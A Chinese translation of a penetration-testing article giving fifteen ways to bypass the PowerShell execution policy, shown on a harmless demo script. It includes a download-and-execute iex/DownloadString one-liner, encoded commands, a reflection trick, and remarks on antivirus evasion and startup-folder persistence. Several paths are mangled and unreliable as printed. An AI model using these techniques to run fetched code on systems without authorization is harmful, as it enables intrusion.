繞過PowerShell 執行策略的15種方法
在Windows上,PowerShell的默認配置是不允許執行腳本文件的。這對於一些滲透測試人員,系統管理員,程序員等來說,是一個必須面對的障礙。本文中,我將提出15種不需要本地管理員許可權就繞過該執行保護策略的方法。我確定依然有許多甚至我不知道的方法沒有提到,但是我希望本文對那些需要的人來說是一個良好的開端。
什麼是PowerShell執行策略?
PowerShell執行策略是用來限制哪些類型的PowerShell腳本能在系統上直接運行。默認它的設置時Restricted,即任何腳本都不行。但是,我們需要明確該設置從來都沒打算設計成為一個安全控制策略,相反,它本來是為了防止系統管理員發生搬起石頭砸自己的腳的情況。這就是為什麼有許多圍繞它的選項。其中包括一些微軟自身提供的。若想了解更多PowerShell的執行策略設置和其他默認安全設置,我推薦你讀Carlos Perez的博客,它提供了一個比較全面的概述。
為什麼我想繞過執行策略?
為什麼PowerShell如此流行,我聽到過不少的答案,最常聽到就是它可以實現自動化,以下是一些管理員,滲透測試人員,黑客之所以喜歡它的一些原因:
- 是Windows原生的
- 可以調用Windows API
- 不需要寫入磁碟就可以執行命令
- 可以逃避Anti-Virus的檢測
- 被大多數程序加入白名單中,標記為可信的
- 有許多開源的滲透工具集
如何察看當前安全策略
在使用PowerShell的所有驚奇的特性前,攻擊者要做的第一件事就是繞過Restricted執行策略。可以通過命令Get-ExectionPolicy來獲得當前策略。如果你是第一次使用這個命令,則應該是設置為Restricted的,如下:
PS C:> Get-ExecutionPolicy
同樣可以將執行策略設置為不同的級別。如下查看支持的所有級別,若想了解更多關於」Set-ExecutionPolicy」的信息,查看 Set-ExecutionPolicy
PS C:> Get-ExecutionPolicy -List | Format-Table -AutoSize
實驗環境設置
我會使用如下一個腳本來作為例子,runme.ps1,該明白用來向控制台輸出一句話:
Write-Host "My voice is my passport, verify me."
當我在默認策略的主機上,嘗試執行該腳本時,會出現如下錯誤:
如果你的策略太open,你想使用更嚴格的方式來測試如下的方案,你需要切換到管理員身份,執行Set-ExecutionPolicy Restricted。OK,接下來是15種方式:
15 種繞過方式
1. 將你的腳本內容粘貼到一個互動式的PowerShell窗口中
如下,將你的腳本粘貼到console中。但是,你要記住,你的受限程度取決於你當前用戶的許可權。假如你有一個可以互動式的窗口,則這是最基本的一種方法,而且不需要做任何的配置改變和寫入到磁碟中。
2. Echo腳本內容,然後Pipe到PowerShell的標準輸入中
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3. 從一個文件中讀取腳本,然後Pipe到PowerShell的標準輸入中
此方法有個缺點就是會寫入腳本到本地磁碟中,但是你可以從一個網路共享中讀取腳本,來避免寫內容到磁碟中。
PS C: emp> Get-Content .
unme.ps1 | powershell.exe -noprofile -
PS C: emp> Type .
unme.ps1 | powershell.exe -noprofile -
4. 從一個URL Download腳本內容,然後執行
PS C: emp> powershell -nop -c "iex(New-Object Net.WebClient).DownloadString(http://192.168.1.2/runme.ps1)"
5. 使用-command命令參數
此方法和直接粘貼腳本內容執行的方式很像,但是此方法不需要一個互動式的窗口。它適用於簡單腳本的執行,對於複雜腳本會發生解析錯誤。該方法同樣不會寫內容到磁碟中。
powershell -command "Write-Host My voice is my passport, verify me."
你可以將該命令寫到一個bat文件中,然後放到啟動目錄中,來幫助提權。
6. 使用-encodedCommand命令參數
該方法和上一個方法很相似,但是此方式腳本內容是Unicode/base64 encode的字元串。使用編碼的好處是可以讓你避免執行使用Command參數時產生一些糟糕的解析問題。以下的例子是摘自Posh-SecMod。該工具套件還包括一個小的壓縮方法來減少由於encode後字元串太長的情況。
$command = "Write-Host My voice is my passport, verify me." $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
7. 使用Invoke-Command 命令
該方法最cool點在於對抗那些PowerShell remoting開啟的Remote系統。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
如下命令,可用來從一個遠程系統上抓取執行策略同時運用到本地計算機中.
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8. 使用 Invoke-Expression 命令
PS C: emp> Get-Content ./runme.ps1 | Invoke-ExpressionPS C: emp> gc .
unme.ps1 | iex(短命令格式)
9. 使用Bypass執行策略標誌
這個方法是微軟提供的用來繞過執行策略的一種方式。當指定該標誌後,即視為什麼都不做,什麼警告也不提示。
powershell -ExecutionPolicy bypass -File ./runme.ps1
10. 使用Unrestricted執行策略標誌
該標誌和bypass很像,但是當使用該標誌時,即意味著載入所有的配置文件和執行所有的腳本。如果你運行一個從網上下載的未簽名的腳本,會給出許可權提示。
powershell -ExecutionPolicy unrestricted -File ./runme.ps1
11. 使用Remote-Signed執行策略標誌
創建你的腳本,然後按指南簽名。最後運行:
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. 通過換出認證管理器,禁用執行策略
非常有創造性的一個。如下函數可以在互動式窗口中使用,也可以在Command參數中指定。一旦該函數被執行,則會換出認證管理器,同時默認策略改為unrestricted。但是該方法只在一個會話範圍內有效。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ./runme.ps1
13. 設置執行策略為Process作用域
我們之前介紹中提到過,執行策略可以應用到過個級別。其中就包括你完全控制的process。使用該方法僅限於當前session中,執行策略會變為unrestricted。
Set-ExecutionPolicy Bypass -Scope Process
14. 通過命令設置執行策略為CurrentUser作用域
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15. 通過註冊表設置執行策略為CurrentUser作用域
該方法和Process作用域方法很相似,但是通過修改註冊表Key可將設置持續應用到當前用戶的環境中。
HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell
總結
該主題的目的是為了讓執行策略不再成為程序員,管理員或滲透測試人員的一個障礙。微軟同樣也沒有打算將其設置為一個安全控制。這就是為什麼有如此多的方法來繞過它。微軟也提供了一些本地選項,安全社區中同樣有許多有意思的tricks。最後,祝在PowerShell冒險中好運,別忘了為你的Hack行為負責。
—————————— 本文章由看雪翻譯小組 ghostway 翻譯,來源Scott Sutherland@netspi——————————
推薦閱讀:
※OS X 和 Windows 相比,好用和不好用的地方在哪?
※Vmware虛擬機內存要怎麼分配?
※Windows 系統下最好用的 Python 文本編輯器是哪一個?為什麼?
※office上載中心有什麼用?可以卸載嗎?
※聽說很多微軟員工自己不用 Windows,是真的嗎?
TAG:PowerShell | 滲透測試 | MicrosoftWindows |